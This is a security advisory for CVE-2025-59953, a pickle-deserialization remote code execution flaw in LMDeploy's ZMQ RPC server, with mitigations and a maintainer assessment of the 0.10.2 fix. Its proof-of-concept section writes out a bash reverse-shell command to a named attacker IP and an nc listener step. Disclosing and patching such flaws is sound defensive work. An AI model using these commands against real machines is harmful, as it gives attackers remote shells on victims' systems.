CVE-2025-59953: LMdeploy has Remote Code Execution by Pickle Deserialization via zmq_rpc.call_and_response() in InterLM/lmdeploy

### Description The LMdeploy implements an rpc server (AsyncRPCServer in zmq_rpc.py) for supporting the RPC communications. In its core functionality call_and_response(), I found it will directly use the pickles.loads() to deserialize the received messages without any sanitization, hence resulting in a remote code execution vulnerability by this RPC server. ### Proof of Concept * Step1: The victim user starts a RPC server that connects to its network interface. We give our example code (server.py) in the attachment, you can reproduce directly with server.py. * Step2: The attacker can then send malicious pickle dump data to the remote RPC address for the attack. We give a example to show how can an attacker acquire a command shell: <img width="832" height="324" alt="image" src="https://github.com/user-attachments/assets/03b9654d-e25b-4e93-903a-2aae8b12e704" /> In this example, attacker modifies AsyncRPCClient and send a request containing malicious pickle dump data to let the victim execute command “bash -c ‘bash -i >& /dev/tcp/202.112.47.27/4444 0>&1’”, where 202.112.47.27 is an attacker’s server. Two points require special attention: 1.The client code originally only connects to localhost over a socket, but an attacker can easily change localhost to another IP to perform remote exploitation, because the RPC server does not validate the connecting IP. 2.The RPC server’s port is randomized, but an attacker can still scan ports to find and exploit it; in our demo we explicitly set the target port. * Step3: Attacker can use nc tool (nc -l 4444) to create a reverse shell and wait for connection. Then, attacker runs the client to send the malicious request. Since the pickle deserialization vulnerability, the victim rpc server will execute the malicious command and consequently let attacker get the command shell of victim machine. We also give a demo video in the attachment, along with modified zmq_rpc.py. When you reproduce this issue in the client side (as an attacker), you can first replace zmq_rpc.py in pip site-packages with provided zmq_rpc.py in the attachment and then run python poc.py {port}. ### Impact Remote code execution in the victim's machine over network. Once the victim starts the RPC server, an attacker on the network can gain arbitrary code execution by scanning and finding the victim’s service. ### Mitigation (1)Sanitize data before pickle.loads it (e.g., rewrite Unpickler.find_class to set a whitelist), or use more secure deserialization methods such as safetensor or msgpack to replace the insecure pickle.loads. (2)Enable authentication in RPC services to ensure that only authenticated and trusted users are permitted to join the same cluster. [LMdeploy.zip](https://github.com/user-attachments/files/22589686/LMdeploy.zip) ### Maintainer assessment This advisory tracks remotely reachable arbitrary code execution caused by deserializing untrusted ZMQ RPC messages with `pickle.loads()`. The vulnerable RPC implementation was introduced in LMDeploy 0.9.1. Before version 0.10.2, `AsyncRPCServer` bound to `tcp://*`, allowing a network peer that could reach the randomly selected RPC port to submit a malicious pickle payload. Version 0.10.2 changed the RPC server binding to localhost, removing the remote network attack surface. The RPC protocol still uses pickle internally, so the loopback RPC endpoint must remain inaccessible to untrusted local processes. Additional client-side `pickle.loads()` call sites identified in a duplicate report are part of the same trusted internal RPC protocol and have been retained here as supporting evidence.